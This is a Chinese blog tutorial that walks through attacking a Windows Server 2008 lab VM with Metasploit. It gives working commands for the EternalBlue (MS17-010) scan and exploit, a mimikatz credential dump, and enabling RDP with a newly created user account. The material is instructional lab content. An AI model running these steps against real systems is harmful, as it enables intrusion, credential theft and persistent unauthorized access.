Mac通过Metasploit攻击Server2008实例分析
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导读
准备一个Server2008，通过Metasploit获取system访问权限，进入meterpreter交互界面。
通过shell命令，连通目标机器的cmd，查看目标系统信息。
然后通过mimikatz查看系统用户。
最后通过run enable_rdp开启控制机远程桌面并创建用户。
开发环境
| 版本号 | 描述 | |
|---|---|---|
| MacOS（攻击机器） | 11.5 | |
| Windows（目标机器） | Server 2008 R2 x64 SP1 | |
| Metasploit | 6.2.15-dev-1b985447c5dccba9be98ed7cef60eecf487b9ec5 | |
| Microsoft_Remote_Desktop | 10.7.9 |
基础知识
永恒之蓝
SMB（Server Message Block）又称网络文件共享系统（Common Internet File System，缩写为CIFS），一种应用层网络传输协议，主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通讯等资源。它也提供经认证的行程间通信机能。
永恒之蓝”（Eternalblue）漏洞编号MS17-010 泄露自美国国家安全局(NSA)黑客工具包
该漏洞利用工具针对TCP 445端口(Server Message Block/SMB)的文件分享协议进行攻击，可以获取系统最高权限system
漏洞影响：Windows NT，Windows 2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0等
Metasploit
常用命令
show exploits – 查看所有可用的渗透攻击程序代码 show auxiliary – 查看所有可用的辅助攻击工具 show options – 查看该模块所有可用选项 show payloads – 查看该模块适用的所有载荷代码 show targets – 查看该模块适用的攻击目标类型 search – 根据关键字搜索某模块 info – 显示某模块的详细信息 use – 进入使用某渗透攻击模块 back – 回退 set/unset – 设置/禁用模块中的某个参数 setg/unsetg – 设置/禁用适用于所有模块的全局参数 save – 将当前设置值保存下来，以便下次启动MSF终端时仍可使用
meterpreter
meterpreter 是一个高级的，动态的，可拓展的Payload，出现meterpreter 我们就有了shell，可以执行非常多的命令，去操控远端设备。
执行命令：？或者help，显示出可以执行的全部命令。
我们会用到upload、run等命令。
Core Commands ============= Command Description ------- ----------- ? Help menu background Backgrounds the current session bg Alias for background bgkill Kills a background meterpreter script bglist Lists running background scripts bgrun Executes a meterpreter script as a background thread channel Displays information or control active channels close Closes a channel detach Detach the meterpreter session (for http/https) disable_unicode_encoding Disables encoding of unicode strings enable_unicode_encoding Enables encoding of unicode strings exit Terminate the meterpreter session get_timeouts Get the current session timeout values guid Get the session GUID help Help menu info Displays information about a Post module irb Open an interactive Ruby shell on the current session load Load one or more meterpreter extensions machine_id Get the MSF ID of the machine attached to the session migrate Migrate the server to another process pivot Manage pivot listeners pry Open the Pry debugger on the current session quit Terminate the meterpreter session read Reads data from a channel resource Run the commands stored in a file run Executes a meterpreter script or Post module secure (Re)Negotiate TLV packet encryption on the session sessions Quickly switch to another session set_timeouts Set the current session timeout values sleep Force Meterpreter to go quiet, then re-establish session ssl_verify Modify the SSL certificate verification setting transport Manage the transport mechanisms use Deprecated alias for "load" uuid Get the UUID for the current session write Writes data to a channel Stdapi: File system Commands ============================ Command Description ------- ----------- cat Read the contents of a file to the screen cd Change directory checksum Retrieve the checksum of a file cp Copy source to destination del Delete the specified file dir List files (alias for ls) download Download a file or directory edit Edit a file getlwd Print local working directory getwd Print working directory lcat Read the contents of a local file to the screen lcd Change local working directory lls List local files lpwd Print local working directory ls List files mkdir Make directory mv Move source to destination pwd Print working directory rm Delete the specified file rmdir Remove directory search Search for files show_mount List all mount points/logical drives upload Upload a file or directory Stdapi: Networking Commands =========================== Command Description ------- ----------- arp Display the host ARP cache getproxy Display the current proxy configuration ifconfig Display interfaces ipconfig Display interfaces netstat Display the network connections portfwd Forward a local port to a remote service resolve Resolve a set of host names on the target route View and modify the routing table Stdapi: System Commands ======================= Command Description ------- ----------- clearev Clear the event log drop_token Relinquishes any active impersonation token. execute Execute a command getenv Get one or more environment variable values getpid Get the current process identifier getprivs Attempt to enable all privileges available to the current process getsid Get the SID of the user that the server is running as getuid Get the user that the server is running as kill Terminate a process localtime Displays the target system local date and time pgrep Filter processes by name pkill Terminate processes by name ps List running processes reboot Reboots the remote computer reg Modify and interact with the remote registry rev2self Calls RevertToSelf() on the remote machine shell Drop into a system command shell shutdown Shuts down the remote computer steal_token Attempts to steal an impersonation token from the target process suspend Suspends or resumes a list of processes sysinfo Gets information about the remote system, such as OS Stdapi: User interface Commands =============================== Command Description ------- ----------- enumdesktops List all accessible desktops and window stations getdesktop Get the current meterpreter desktop idletime Returns the number of seconds the remote user has been idle keyboard_send Send keystrokes keyevent Send key events keyscan_dump Dump the keystroke buffer keyscan_start Start capturing keystrokes keyscan_stop Stop capturing keystrokes mouse Send mouse events screenshare Watch the remote user desktop in real time screenshot Grab a screenshot of the interactive desktop setdesktop Change the meterpreters current desktop uictl Control some of the user interface components Stdapi: Webcam Commands ======================= Command Description ------- ----------- record_mic Record audio from the default microphone for X seconds webcam_chat Start a video chat webcam_list List webcams webcam_snap Take a snapshot from the specified webcam webcam_stream Play a video stream from the specified webcam Stdapi: Audio Output Commands ============================= Command Description ------- ----------- play play a waveform audio file (.wav) on the target system Priv: Elevate Commands ====================== Command Description ------- ----------- getsystem Attempt to elevate your privilege to that of local system. Priv: Password database Commands ================================ Command Description ------- ----------- hashdump Dumps the contents of the SAM database Priv: Timestomp Commands ======================== Command Description ------- ----------- timestomp Manipulate file MACE attributes
准备工作
虚拟机安装Server2008
系统下载地址：https://msdn.itellyou.cn/
安装：略~~~
Mac上安装Metasploit
下载安装：
【可忽略】官网地址：https://www.metasploit.com/download
【可忽略】通过官网，只能访问到github的wiki页面，wiki页面又让跳转到官网的帮助文档页面：https://docs.metasploit.com/docs/using-metasploit/getting-started/nightly-installers.html
帮助页面中，我们可以看到支持各种平台，其中Mac平台是通过 https://osx.metasploit.com/metasploitframework-latest.pkg下载，直接安装即可。
初始化、运行：
# 切换到工作目录 cd /opt/metasploit-framework/bin/ # 一定要这么做，否则连接的数据库一定有问题。 ./msfdb init # 运行Metasploit开控台（运行一次会将路径设置到环境变量中，以后就可以直接访问该目录中所有命令了） ./msfconsole
Mac上安装远程桌面客户端Microsoft Remote Desktop
通过App Store是无法搜索到Microsoft Remote Desktop的；通过https://apps.apple.com/tw/app/microsoft-remote-desktop/id1295203466页面跳转到App Store，会提示地区尚不提供此App。
这里，我们通过该地址直接下载https://mac.softpedia.com/get/Utilities/Microsoft-Remote-Desktop-Connection.shtml，下载的文件名为Microsoft_Remote_Desktop_10.7.9_installer.pkg，双击即可安装。
下面两个下载地址需要登录，有点麻烦
玩转苹果下载：https://www.ifunmac.com/?s=Microsoft+Remote+Desktop+for+Mac&x=0&y=0未来Mac下载: https://mac.orsoon.com/search/Microsoft%20Remote%20Desktop%20for%20Ma_mac_1.html通过Metasploit，获取靶机shell 搜索17-010相关漏洞插件
msf6 > search 17-010
使用scanner辅助验证插件扫描漏洞
# 选中插件 use auxiliary/scanner/smb/smb_ms17_010 # 设置目录机器，单个ip验证（虚拟机中的Server2008） set RHOSTS 192.168.1.216 # 开始执行漏洞扫描 run
效果如下：
ps:show options是显示这个插件相关的参数，在Required这一栏下面是yes的表示必填参数。
ps:
参数RHOSTS和THREADS:
# RHOSTS这个参数可以设置一个目标网段，进行扫描测试 set RHOSTS 192.168.29.1/24 # 设置扫描线程，插件默认是1，这里设置为20： set THREADS 20
exploit获取shell
使用exploit模块来进行攻击测试
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.1 set THREADS 10 run
效果如下：
执行命令shell即可进入cmd命令行:
ps:
在windows命令行输入 chcp 65001 解决中文乱码
利用mimikatz模块，爆破靶机账号密码
# 加载mimikatz load mimikatz # 读取内存中存放的账号密码 creds_wdigest
效果如下：
利用meterpreter模块，开启控制机远程桌面并创建用户
开启rdp
# 1，启动远程桌面（通过爆破出来的密码登录） meterpreter > run post/windows/manage/enable_rdp # 2，创建一个新用户来远程连接 windows 桌面 meterpreter > run post/windows/manage/enable_rdp username=root password=root@toor.com
通过Microsoft Remote Desktop远程连接Server2008
ps:
kali连接windows桌面 rdesktop 192.168.1.216
到此，相信大家对“Mac通过Metasploit攻击Server2008实例分析”有了更深的了解，不妨来实际操作一番吧！这里是蜗牛博客网站，更多相关内容可以进入相关频道进行查询，关注我们，继续学习！
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